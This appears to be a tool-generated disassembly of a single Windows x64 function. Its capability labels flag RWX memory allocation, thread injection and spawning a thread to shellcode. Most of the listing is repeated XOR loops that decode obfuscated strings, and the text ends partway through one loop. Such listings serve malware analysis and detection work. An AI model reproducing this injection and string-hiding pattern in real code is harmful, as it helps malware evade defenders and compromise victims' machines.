Function at 0x1400033f0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e00]
mov eax, 0x1f00
call fcn.1400bc680
sub rsp, rax
movaps xmmword [rsp + 0x1ef0], xmm6
movaps xmmword [rsp + 0x1ee0], xmm7
movaps xmmword [rsp + 0x1ed0], xmm8
movaps xmmword [rsp + 0x1ec0], xmm9
movaps xmmword [rsp + 0x1eb0], xmm10
movaps xmmword [rsp + 0x1ea0], xmm11
movaps xmmword [rsp + 0x1e90], xmm12
movaps xmmword [rsp + 0x1e80], xmm13
mov rax, qword [0x1400c4040]
xor rax, rsp
mov qword [rbp + 0x1d70], rax
mov r12, rdx
mov qword [rbp + 0x208], rcx
mov r15, qword [rbp + 0x1e80]
mov byte [rsp + 0x40], 0
lea rdx, [rbp + 0x19c]
lea rcx, [rsp + 0x40]
call fcn.140017fc0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400034b5
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x16e0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x16e0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x16e0]
call fcn.1400b3040
xor edi, edi
mov esi, dword [0x1400c4098]
movdqa xmm9, xmmword [0x1400beec0]
movdqa xmm7, xmmword [0x1400bee90]
movdqa xmm6, xmmword [0x1400bee80]
movdqa xmm10, xmmword [0x1400beeb0]
movdqa xmm8, xmmword [0x1400beef0]
movdqa xmm13, xmmword [0x1400beed0]
movdqa xmm12, xmmword [0x1400beea0]
movdqa xmm11, xmmword [0x1400beee0]
cmp ebx, 5
jne 0x140003c09
mov byte [rsp + 0x41], dil
lea rdx, [rbp + 0x1540]
lea rcx, [rsp + 0x41]
call fcn.140018880
mov rbx, rax
cmp byte [rax + 0x19], dil
je 0x140003691
mov r8d, edi
cmp esi, 2
jl 0x140003657
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140003570
cmp r8d, 0x1a
jge 0x140003691
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140003660
mov byte [rsp + 0x42], dil
lea rdx, [rbp + 0x13a0]
lea rcx, [rsp + 0x42]
call fcn.140018670
mov r10, rax
cmp byte [rax + 0x15], dil
je 0x1400037f1
mov r8d, edi
cmp esi, 2
jl 0x1400037b7
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400036d0
cmp r8d, 0x16
jge 0x1400037f1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400037c0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x43], dil
lea rdx, [rbp + 0x868]
lea rcx, [rsp + 0x43]
call fcn.1400184a0
mov rbx, rax
cmp byte [rax + 0xc], dil
je 0x140003930
mov r8d, edi
cmp esi, 2
jl 0x1400038ee
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140003900
mov byte [rsp + 0x44], dil
lea rdx, [rbp + 0xe18]
lea rcx, [rsp + 0x44]
call fcn.1400182d0
mov r10, rax
cmp byte [rax + 0xd], dil
je 0x140003a70
mov r8d, edi
cmp esi, 2
jl 0x140003a2e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140003a40
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x45], dil
lea rdx, [rbp + 0x5f8]
lea rcx, [rsp + 0x45]
call fcn.140018230
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140003ad4
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rsp + 0x46], dil
lea rdx, [rbp + 0x1228]
lea rcx, [rsp + 0x46]
call fcn.140018050
mov r10, rax
cmp byte [rax + 0xe], dil
je 0x140003c01
mov r8d, edi
cmp esi, 2
jl 0x140003bc1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140003bd0
mov rcx, r10
jmp 0x140004db8
mov byte [rsp + 0x47], dil
lea rdx, [rbp + 0x2b8]
lea rcx, [rsp + 0x47]
call fcn.140018a90
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140003c49
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1700]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1700]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1700]
call fcn.1400b3040
cmp ebx, 5
jne 0x1400041df
mov byte [rsp + 0x48], 0
lea rdx, [rbp + 0xe28]
lea rcx, [rsp + 0x48]
call fcn.1400191b0
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x140003db1
mov r8d, edi
cmp esi, 2
jl 0x140003d71
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140003d80
mov byte [rsp + 0x49], 0
lea rdx, [rbp + 0x878]
lea rcx, [rsp + 0x49]
call fcn.140018fe0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140003ee1
mov r8d, edi
cmp esi, 2
jl 0x140003e9e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140003eb0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x4a], 0
lea rdx, [rbp + 0x888]
lea rcx, [rsp + 0x4a]
call fcn.140018e10
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140004020
mov r8d, edi
cmp esi, 2
jl 0x140003fe9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140003ff0
mov byte [rsp + 0x4b], 0
lea rdx, [rbp + 0xe38]
lea rcx, [rsp + 0x4b]
call fcn.140018c40
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140004160
mov r8d, edi
cmp esi, 2
jl 0x14000411e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140004130
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x4c], 0
lea rdx, [rbp + 0x608]
lea rcx, [rsp + 0x4c]
call fcn.140018ba0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400041c4
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rsp + 0x4d], 0
lea rdx, [rbp + 0x458]
lea rcx, [rsp + 0x4d]
call fcn.140018b10
jmp 0x140004d87
mov byte [rsp + 0x4e], 0
lea rdx, [rbp + 0x2c8]
lea rcx, [rsp + 0x4e]
call fcn.140019380
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000421f
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1720]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1720]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1720]
call fcn.1400b3040
cmp ebx, 5
jne 0x1400048c9
mov byte [rsp + 0x4f], 0
lea rdx, [rbp + 0xac]
lea rcx, [rsp + 0x4f]
call fcn.140019d10
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140004284
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rsp + 0x50], 0
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x50]
call fcn.140019b60
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400043a1
cmp esi, 2
jl 0x14000436a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x1400043a1
mov r9, r10
mov r8d, edi
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140004370
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x51], 0
lea rdx, [rbp + 0x898]
lea rcx, [rsp + 0x51]
call fcn.140019990
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400044e0
mov r8d, edi
cmp esi, 2
jl 0x1400044a9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400044b0
mov byte [rsp + 0x52], 0
lea rdx, [rbp + 0xe48]
lea rcx, [rsp + 0x52]
call fcn.1400197c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140004620
mov r8d, edi
cmp esi, 2
jl 0x1400045de
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400045f0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x53], 0
lea rdx, [rbp + 0x12f8]
lea rcx, [rsp + 0x53]
call fcn.1400195d0
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x140004791
cmp esi, 2
jl 0x14000474f
mov edx, edi
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
